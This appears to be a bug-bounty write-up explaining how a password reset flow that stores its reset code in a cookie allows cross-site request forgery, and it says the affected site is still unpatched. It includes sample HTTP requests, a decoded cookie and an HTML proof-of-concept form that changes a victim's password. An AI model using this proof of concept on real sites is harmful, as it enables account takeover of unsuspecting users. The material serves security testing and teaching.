CSRF on Password Reset Link leading to account takeover.

Have you ever thought of testing for CSRF vulnerability on a password reset link? You might not have, because we generally believe that it is not possible, as the password reset link itself contains a reset token which acts as an alternative for a CSRF token.
I, too, once shared this assumption, but recently I encountered a CSRF vulnerability on a password reset link on a popular site. Since the vulnerability is still not patched, let's refer to it as https://target.com.
Generally, the password reset link works in 2 different ways:
- The password reset link is itself
https://example.com/reset-password/secretToken& upon changing the password, aPOSTrequest will be sent along with the token that is reflected in the URL.
POST /reset-password?secretToken=tokenHTTP/2
Host: account.example.com
password=spandanpokh&password_confirm=spandanpokh- The password reset link
https://example.com/reset-password/secretTokenredirects 302 tohttps://account.example.com/reset-password?redirect=https%3A%2F%2Faccount.example.com%2Freset-password%2Fsteps&mode=reset-password& then it allows us to change our password. Here also token will be sent in an HTTP request.
POST /reset-password?redirect=https%3A%2F%2Faccount.example.com%2Freset-password%2Fsteps&mode=reset-password HTTP/2
Host: account.example.com
secretToken=token&password=%40Helloworld1&password_confirm=%40Helloworld1Since it is a password reset link, a reset token will definitely be present in the HTTP request and we think that it is impossible to perform CSRF. Well, in my case it was a bit different.
In my case as well, the reset link https://target.com/reset-password/79xldx5d0h1gxwxfgw75oobhiff34tmibh9fut9roj5ht was returning 302 and redirecting to https://account.target.com/reset-password?redirect=https%3A%2F%2Faccount.target.com%2Freset-password%2Fsteps&mode=reset-password
However, upon changing the password, I noticed that the reset token was neither reflected on the URL nor on the body of the HTTP request.
POST /reset-password?redirect=https%3A%2F%2Faccount.target.com%2Freset-password%2Fsteps&mode=reset-password HTTP/2
Host: account.target.com
Cookie:
password=%40Helloworld1&password_confirm=%40Helloworld1Since there was no reset token on the HTTP request, I was thinking how is the server validating the request then? In that HTTP request, there were a lot of encoded cookies, and I immediately started decoding all those cookies.
Notice the redirect_url parameter on cookies.

Decoding the value:
aHR0cHM6Ly9hY2NvdW50LnRhcmdldC5jb20vYXV0aG9yaXplLz9yZXNwb25zZV90eXBlPWNvZGUmYWN0aW9uPXJlc2V0X3Bhc3N3b3JkJmNsaWVudF9pZD1ib3gmc2NvcGU9d2ViJnJlc2V0X2NvZGU9bW56djgwcGV5cHIwcHR2ZWloMnR4cnBpbGpvZTJ6dmhxeHNscTh2OWU0dTIzJmJyb3dzZXJfcGluPVRNVVlOVzlQSVdLVDlQSzRTMFgzMFlUV0c0TE9GOUZXVEk3MFZHUzhSNk9XR0ZEM1hRJnJlZGlyZWN0X3VyaT1odHRwcyUzQSUyRiUyRnRhcmdldC5jb20mZmluaXNoPTE%3DaHR0cHM6Ly9hY2NvdW50LnRhcmdldC5jb20vYXV0aG9yaXplLz9yZXNwb25zZV90eXBlPWNvZGUmYWN0aW9uPXJlc2V0X3Bhc3N3b3JkJmNsaWVudF9pZD1ib3gmc2NvcGU9d2ViJnJlc2V0X2NvZGU9bW56djgwcGV5cHIwcHR2ZWloMnR4cnBpbGpvZTJ6dmhxeHNscTh2OWU0dTIzJmJyb3dzZXJfcGluPVRNVVlOVzlQSVdLVDlQSzRTMFgzMFlUV0c0TE9GOUZXVEk3MFZHUzhSNk9XR0ZEM1hRJnJlZGlyZWN0X3VyaT1odHRwcyUzQSUyRiUyRnRhcmdldC5jb20mZmluaXNoPTE=https://account.target.com/authorize/?response_type=code&action=reset_password&client_id=box&scope=web&reset_code=mnzv80peypr0ptveih2txrpiljoe2zvhqxslq8v9e4u23&browser_pin=TMUYNW9PIWKT9PK4S0X30YTWG4LOF9FWTI70VGS8R6OWGFD3XQ&redirect_uri=https%3A%2F%2Ftarget.com&finish=1
In other words, reset_code is actually being stored on redirect_url cookie & reset token is being reflected on the HTTP request under the cookie redirect_url.
Now, here an attacker can easily take over the victim's account by performing a CSRF attack.
- The attacker goes to
https://account.target.com/reset-password-requestand attacker enters the victim's email. - The victim notices that reset link and the victim opens the link.
- Once the victim opens the link, then the
reset_codewill be stored on their cookie.
Note that victim only opens the link, and ignores it. In other word, victim do not change his/her password.
- The attacker performs a CSRF attack using this HTML code:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://account.target.com/reset-password?redirect=https%3A%2F%2Faccount.target.com%2Freset-password%2Fsteps&mode=reset-password" method="POST">
<input type="hidden" name="password" value="YouAreHacked" />
<input type="hidden" name="password_confirm" value="YouAreHacked" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>- Once the victim clicks on that password reset link, the
reset_codewill be saved on their cookiesredirect_url. When the victim clicks on that CSRF HTML POC:
POST /reset-password?redirect=https%3A%2F%2Faccount.target.com%2Freset-password%2Fsteps&mode=reset-password HTTP/2
Host: account.target.com
Cookie: **redirect_url, which contains the reset_code.**
password=YouAreHacked&password_confirm=YouAreHacked- The victim's password gets changed via a CSRF attack.
Therefore, yes, a CSRF attack is sometimes possible on the password reset link as well. Make sure that you check the password reset functionality & understand how it is functioning so that you can find some juicy vulnerabilities.